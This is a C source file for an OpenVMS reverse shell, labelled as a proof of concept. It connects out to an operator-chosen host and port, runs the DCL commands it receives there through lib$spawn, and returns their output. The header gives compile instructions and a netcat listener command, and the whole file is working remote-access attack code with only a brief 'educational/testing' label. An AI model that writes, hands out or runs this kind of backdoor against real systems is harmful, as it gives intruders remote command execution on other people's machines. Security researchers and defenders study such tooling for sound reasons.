/*
 * OpenVMS Reverse Shell PoC - Working Version
 *
 * This program demonstrates connecting to a remote host and executing
 * DCL commands over the network connection for educational/testing purposes.
 *
 * Compilation on OpenVMS:
 *   $ CC/DEFINE=(_SOCKADDR_LEN) vshell.c
 *   $ LINK vshell.obj
 *
 * Usage:
 *   $  vshell :== $ SYS$SYSROOT:[.PATH.TO.VSHELL]vshell.exe 
 *   $  vshell <remote_host> <remote_port>
 *
 * On the remote host, start a listener first:
 *   $ nc -l -p <port>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <descrip.h>
#include <lib$routines.h>
#include <ssdef.h>
#include <errno.h>

#define BUFFER_SIZE 8192
#define CMD_SIZE 1024

/* Global to track current directory */
static char current_dir[512] = "";

/* Connect to remote host */
int connect_to_host(const char *host, int port) {
    int sockfd;
    struct sockaddr_in server_addr;
    struct hostent *server;

    /* Create socket */
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("Error opening socket");
        return -1;
    }

    /* Resolve hostname */
    server = gethostbyname(host);
    if (server == NULL) {
        fprintf(stderr, "Error: No such host %s\n", host);
        close(sockfd);
        return -1;
    }

    /* Setup server address structure */
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
    server_addr.sin_port = htons(port);

    /* Connect to server */
    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Error connecting");
        close(sockfd);
        return -1;
    }

    return sockfd;
}

/* Check if command is a SET DEFAULT (cd) command */
int is_set_default_cmd(const char *cmd) {
    char upper[CMD_SIZE];
    int i;

    /* Convert to uppercase */
    for (i = 0; cmd[i] && i < CMD_SIZE - 1; i++) {
        upper[i] = (cmd[i] >= 'a' && cmd[i] <= 'z') ? cmd[i] - 32 : cmd[i];
    }
    upper[i] = '\0';

    /* Check for SET DEFAULT or SET DEF */
    if (strncmp(upper, "SET DEF", 7) == 0) return 1;
    return 0;
}

/* Get current directory */
void get_current_directory(char *dir_buf, int buf_size) {
    FILE *fp;
    char temp_file[256];
    struct dsc$descriptor_s cmd_desc;
    struct dsc$descriptor_s output_desc;
    char *show_cmd = "SHOW DEFAULT";

    sprintf(temp_file, "SYS$SCRATCH:vms_showdef_%d.tmp", getpid());

    cmd_desc.dsc$w_length = strlen(show_cmd);
    cmd_desc.dsc$b_dtype = DSC$K_DTYPE_T;
    cmd_desc.dsc$b_class = DSC$K_CLASS_S;
    cmd_desc.dsc$a_pointer = show_cmd;

    output_desc.dsc$w_length = strlen(temp_file);
    output_desc.dsc$b_dtype = DSC$K_DTYPE_T;
    output_desc.dsc$b_class = DSC$K_CLASS_S;
    output_desc.dsc$a_pointer = temp_file;

    int status = lib$spawn(&cmd_desc, 0, &output_desc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

    dir_buf[0] = '\0';

    if (status == SS$_NORMAL) {
        usleep(50000);
        fp = fopen(temp_file, "r");
        if (fp != NULL) {
            char line[512];
            if (fgets(line, sizeof(line), fp) != NULL) {
                /* Remove newline and trim */
                char *nl = strchr(line, '\n');
                if (nl) *nl = '\0';
                nl = strchr(line, '\r');
                if (nl) *nl = '\0';

                /* Skip leading spaces and = sign */
                char *start = line;
                while (*start == ' ' || *start == '\t' || *start == '=') start++;

                strncpy(dir_buf, start, buf_size - 1);
                dir_buf[buf_size - 1] = '\0';
            }
            fclose(fp);
        }
        remove(temp_file);
    }
}

/* Execute DCL command and return output */
int execute_dcl_command(const char *command, char *output, int output_size) {
    FILE *fp, *com_fp;
    char temp_file[256];
    char temp_com[256];
    char exec_cmd[64];
    int status;
    struct dsc$descriptor_s cmd_desc;
    struct dsc$descriptor_s output_desc;

    /* Create temporary files */
    sprintf(temp_file, "SYS$SCRATCH:vms_shell_%d.tmp", getpid());
    sprintf(temp_com, "SYS$SCRATCH:vms_shell_%d.com", getpid());

    /* Create a command procedure */
    com_fp = fopen(temp_com, "w");
    if (com_fp == NULL) {
        sprintf(output, "Error: Could not create command file\n");
        return -1;
    }

    /* If we have a saved directory, set it first */
    if (strlen(current_dir) > 0) {
        fprintf(com_fp, "$ SET DEFAULT %s\n", current_dir);
    }

    /* Write the user's command */
    fprintf(com_fp, "$ %s\n", command);

    /* If this is a SET DEFAULT command, also output the new directory */
    int is_setdef = is_set_default_cmd(command);
    if (is_setdef) {
        fprintf(com_fp, "$ SHOW DEFAULT\n");
    }

    fclose(com_fp);

    /* Build the command to execute the procedure */
    sprintf(exec_cmd, "@%s", temp_com);

    /* Create descriptor for command */
    cmd_desc.dsc$w_length = strlen(exec_cmd);
    cmd_desc.dsc$b_dtype = DSC$K_DTYPE_T;
    cmd_desc.dsc$b_class = DSC$K_CLASS_S;
    cmd_desc.dsc$a_pointer = exec_cmd;

    output_desc.dsc$w_length = strlen(temp_file);
    output_desc.dsc$b_dtype = DSC$K_DTYPE_T;
    output_desc.dsc$b_class = DSC$K_CLASS_S;
    output_desc.dsc$a_pointer = temp_file;

    /* Execute command with output redirected to file */
    status = lib$spawn(
        &cmd_desc,      /* Command to execute */
        0,              /* Input file (default) */
        &output_desc,   /* Output file - redirects SYS$OUTPUT */
        0,              /* Flags (wait for completion) */
        0,              /* Process name */
        0,              /* Process ID */
        0,              /* Completion status */
        0,              /* Event flag */
        0,              /* AST routine */
        0,              /* AST parameter */
        0,              /* Prompt */
        0,              /* CLI */
        0               /* Table */
    );

    /* Read output from temp file */
    output[0] = '\0';
    if (status == SS$_NORMAL) {
        usleep(100000);  /* 100ms delay */

        fp = fopen(temp_file, "r");
        if (fp != NULL) {
            size_t bytes_read = fread(output, 1, output_size - 1, fp);
            output[bytes_read] = '\0';
            fclose(fp);

            /* If this was a SET DEFAULT command, extract the new directory from output */
            if (is_setdef) {
                /* Find the last line which should be the SHOW DEFAULT output */
                char *last_line = output;
                char *line_ptr = output;

                while (*line_ptr) {
                    if (*line_ptr == '\n') {
                        char *next = line_ptr + 1;
                        if (*next != '\0') {
                            last_line = next;
                        }
                    }
                    line_ptr++;
                }

                /* Parse the directory from the last line */
                if (last_line && *last_line) {
                    char temp_dir[512];
                    strncpy(temp_dir, last_line, sizeof(temp_dir) - 1);
                    temp_dir[sizeof(temp_dir) - 1] = '\0';

                    /* Remove newline */
                    char *nl = strchr(temp_dir, '\n');
                    if (nl) *nl = '\0';
                    nl = strchr(temp_dir, '\r');
                    if (nl) *nl = '\0';

                    /* Skip leading spaces and = sign */
                    char *dir_start = temp_dir;
                    while (*dir_start && (*dir_start == ' ' || *dir_start == '\t' || *dir_start == '=')) {
                        dir_start++;
                    }

                    if (strlen(dir_start) > 0) {
                        strncpy(current_dir, dir_start, sizeof(current_dir) - 1);
                        current_dir[sizeof(current_dir) - 1] = '\0';
                    }
                }
            }
        } else {
            sprintf(output, "Error: Could not read output file\n");
        }
    } else {
        sprintf(output, "Error: Command failed with status: 0x%08X\n", status);
    }

    /* Clean up temp files */
    remove(temp_file);
    remove(temp_com);

    return (status == SS$_NORMAL) ? 0 : -1;
}

/* Send data to socket */
int send_data(int sockfd, const char *data) {
    int len = strlen(data);
    int total_sent = 0;
    int sent;

    while (total_sent < len) {
        sent = write(sockfd, data + total_sent, len - total_sent);
        if (sent < 0) {
            perror("Error writing to socket");
            return -1;
        }
        total_sent += sent;
    }
    return 0;
}

/* Main command loop */
void command_loop(int sockfd) {
    char buffer[BUFFER_SIZE];
    char command[CMD_SIZE];
    char output[BUFFER_SIZE];
    int n, cmd_pos = 0;
    char prompt[600];

    /* Get initial directory */
    get_current_directory(current_dir, sizeof(current_dir));

    /* Send initial banner */
    send_data(sockfd, "OpenVMS Reverse Shell\n");
    send_data(sockfd, "Type 'exit' to quit\n\n");

    if (strlen(current_dir) > 0) {
        snprintf(prompt, sizeof(prompt), "%s\nVMS$ ", current_dir);
    } else {
        strcpy(prompt, "VMS$ ");
    }
    send_data(sockfd, prompt);

    while (1) {
        /* Read from socket */
        n = read(sockfd, buffer, sizeof(buffer) - 1);
        if (n <= 0) {
            if (n < 0) perror("Error reading from socket");
            break;
        }

        buffer[n] = '\0';

        /* Process each character */
        for (int i = 0; i < n; i++) {
            char c = buffer[i];

            if (c == '\n' || c == '\r') {
                if (cmd_pos > 0) {
                    command[cmd_pos] = '\0';

                    /* Echo newline */
                    send_data(sockfd, "\n");

                    /* Trim whitespace */
                    char *trimmed = command;
                    while (*trimmed == ' ' || *trimmed == '\t') trimmed++;

                    /* Strip leading $ if present (user might type it out of habit) */
                    if (*trimmed == '$') {
                        trimmed++;
                        while (*trimmed == ' ' || *trimmed == '\t') trimmed++;
                    }

                    /* Check for empty command */
                    if (strlen(trimmed) == 0) {
                        if (strlen(current_dir) > 0) {
                            snprintf(prompt, sizeof(prompt), "%s\nVMS$ ", current_dir);
                        } else {
                            strcpy(prompt, "VMS$ ");
                        }
                        send_data(sockfd, prompt);
                        cmd_pos = 0;
                        continue;
                    }

                    /* Check for exit command */
                    if (strcmp(trimmed, "exit") == 0 ||
                        strcmp(trimmed, "logout") == 0 ||
                        strcmp(trimmed, "quit") == 0) {
                        send_data(sockfd, "Goodbye!\n");
                        return;
                    }

                    /* Execute command */
                    execute_dcl_command(trimmed, output, sizeof(output));

                    /* Send output if any */
                    if (strlen(output) > 0) {
                        send_data(sockfd, output);
                    }

                    /* Send prompt with current directory */
                    if (strlen(current_dir) > 0) {
                        snprintf(prompt, sizeof(prompt), "\n%s\nVMS$ ", current_dir);
                    } else {
                        strcpy(prompt, "\nVMS$ ");
                    }
                    send_data(sockfd, prompt);

                    /* Reset command buffer */
                    cmd_pos = 0;
                }
            } else if (c == 127 || c == 8) {  /* Backspace */
                if (cmd_pos > 0) {
                    cmd_pos--;
                    /* Echo backspace */
                    send_data(sockfd, "\b \b");
                }
            } else if (c >= 32 && c < 127) {  /* Printable character */
                if (cmd_pos < CMD_SIZE - 1) {
                    command[cmd_pos++] = c;
                    /* Echo character */
                    char echo[2] = {c, '\0'};
                    send_data(sockfd, echo);
                }
            }
        }
    }
}

int main(int argc, char *argv[]) {
    int sockfd;
    int port;
    char *host;

    /* Check arguments */
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
        fprintf(stderr, "Example: %s 192.168.1.100 4444\n", argv[0]);
        return 1;
    }

    host = argv[1];
    port = atoi(argv[2]);

    if (port <= 0 || port > 65535) {
        fprintf(stderr, "Error: Invalid port number\n");
        return 1;
    }

    printf("VMS Reverse Shell PoC\n");
    printf("Connecting to %s:%d...\n", host, port);

    /* Connect to remote host */
    sockfd = connect_to_host(host, port);
    if (sockfd < 0) {
        fprintf(stderr, "Failed to connect\n");
        return 1;
    }

    printf("Connected! Starting command loop...\n");

    /* Run command loop */
    command_loop(sockfd);

    /* Clean up */
    close(sockfd);
    printf("Connection closed.\n");

    return 0;
}